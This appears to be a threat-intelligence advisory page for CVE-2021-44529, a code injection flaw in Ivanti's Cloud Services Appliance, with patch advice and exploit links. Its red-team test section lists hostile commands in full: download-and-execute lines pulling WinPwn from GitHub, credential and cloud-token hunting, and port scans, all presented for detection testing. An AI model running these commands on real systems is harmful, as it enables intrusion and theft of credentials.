CVE-2021-44529
Overview
This vulnerability is a code injection flaw rooted in improper input handling within the Ivanti Endpoint Manager Cloud Services Appliance (CSA). The affected component fails to sanitize cookie header values, allowing crafted input to be interpreted as executable code. The vulnerability specifically impacts the HTTP request processing of the CSA appliance, enabling injection of arbitrary commands under the context of a limited-privilege user account.
Vulnerability Description
A code injection vulnerability in the Ivanti EPM Cloud Services Appliance (CSA) allows an unauthenticated user to execute arbitrary code with limited permissions (nobody).
Impact
An unauthenticated attacker can execute arbitrary commands on the affected system with limited 'nobody' user privileges by exploiting this vulnerability. No user interaction or credentials are required to exploit the flaw. Successful exploitation may lead to system compromise, unauthorized data access, and potential lateral movement within the network, impacting business operations and data confidentiality.
Solution
Ivanti has released security advisory SA-2021-12-02 addressing this vulnerability. Users of Ivanti Endpoint Manager Cloud Services Appliance versions 4.5 and 4.6 should apply the patches provided in this advisory promptly. Detailed patch instructions and updates are available at https://forums.ivanti.com/s/article/SA-2021-12-02. No specific workarounds are recommended beyond applying the vendor-supplied fixes.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
The vulnerability present in the Ivanti Endpoint Manager Cloud Services Appliance (CSA) is characterized as a code injection flaw, which allows an unauthenticated user to execute arbitrary code on the system. This flaw arises from improper input validation, where user-supplied data is not adequately sanitized before being processed. As a result, an attacker can craft malicious input that the system inadvertently executes, leading to potential unauthorized actions. The execution occurs with limited permissions, specifically under the 'nobody' user context, which may restrict the extent of damage but still poses significant risks, particularly in environments where the appliance has access to sensitive data or critical infrastructure.
Attack vectors for exploiting this vulnerability are varied and can be executed remotely, making it particularly dangerous. An attacker could leverage various methods such as sending specially crafted HTTP requests to the appliance’s web interface, which may not require authentication. This ease of access allows threat actors to quickly test and deploy their exploits without needing to bypass authentication mechanisms. Once the arbitrary code execution is achieved, the attacker could potentially manipulate the appliance to access sensitive information, escalate privileges, or pivot to other systems within the network, thereby expanding their foothold and impact.
The real-world implications of this vulnerability are substantial, especially for organizations relying on the Ivanti CSA for endpoint management. Given the high CVSS score of 9.8, the risk associated with this flaw is critical. Organizations could face data breaches, loss of intellectual property, and significant operational disruptions. The ability for an attacker to execute arbitrary code could lead to the deployment of malware, ransomware, or the exfiltration of sensitive data. Furthermore, the reputational damage and regulatory consequences stemming from a successful exploitation could result in long-term financial impacts and loss of customer trust.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security strategy. Regularly updating and patching the Ivanti CSA to the latest version is crucial, as vendors typically release fixes for known vulnerabilities. Additionally, employing intrusion detection systems (IDS) can help identify unusual patterns of behavior that may indicate an attempted exploitation. Network segmentation can also limit the potential impact of an exploit, ensuring that even if an attacker gains access to the CSA, their ability to move laterally within the network is restricted. Organizations should also conduct regular security assessments and penetration testing to identify and remediate vulnerabilities proactively.
In conclusion, the code injection vulnerability in the Ivanti Endpoint Manager Cloud Services Appliance represents a significant threat to organizations that utilize this technology. The potential for unauthorized code execution, combined with the ease of exploitation, underscores the importance of robust security practices. By prioritizing timely updates, employing detection mechanisms, and fostering a culture of security awareness, organizations can mitigate the risks and protect their critical assets from exploitation.
CSURFACE threat intelligence has detected a marked escalation in activity exploiting CVE-2021-44529, with telemetry indicating a sharp increase in attempts to leverage this code injection vulnerability in the Ivanti Endpoint Manager Cloud Services Appliance. The EPSS score has risen significantly, reflecting a growing likelihood of exploitation in the wild. This development is underscored by the recent inclusion of this CVE in the Known Exploited Vulnerabilities (KEV) catalog, with a due date for remediation approaching imminently. Notably, ransomware campaigns have been linked to this vulnerability, elevating its operational risk profile. The availability of multiple public proof-of-concept exploits and a Metasploit module further lowers the barrier for adversaries to weaponize this flaw. For defenders, this surge signals an urgent need to reassess detection and response capabilities, as the threat landscape is intensifying with active exploitation attempts by threat actors, including those associated with ransomware operations. Consequently, the overall threat level for CVE-2021-44529 has escalated from high to critical, demanding heightened vigilance and prioritization in vulnerability management programs.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Ivanti | Endpoint Manager Cloud Services Appliance | All |
cpe:2.3:a:ivanti:endpoint_manager_cloud_services_appliance:*:*:*:*:*:*:*:*
|
|
|
Ivanti | Endpoint Manager Cloud Services Appliance | 4.6 |
cpe:2.3:a:ivanti:endpoint_manager_cloud_services_appliance:4.6:-:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Ivanti Cloud Services Appliance (CSA) Command Injection
exploits/linux/http/ivanti_csa_unauth_rce_cve_2021_44529
|
Jakub Kramarz | Unknown | - | View |
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Ivanti Endpoint Manager 4.6 - Remote Code Execution (RCE) | d7x | remote | multiple | - | View |
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
jax7sec/CVE-2021-44529
CVE-2021-44529 Ivanti EPM 云服务设备 (CSA) 中的代码注入漏洞允许未经身份验证的用户以有限的权限(nobody)执行任意代码。
|
jax7sec | 3 | 5 | 2022-04-16 | View |
Threat Feed
7 eventsSighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-44529 |
| forums.ivanti.com |
GitHub CVE
|
https://forums.ivanti.com/s/article/SA-2021-12-02 |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/166383/Ivanti-Endpoint-Manager-CSA-4.5-4.6-Remote-Code-Execution.html |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/170590/Ivanti-Cloud-Services-Appliance-CSA-Command-Injection.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-44529 |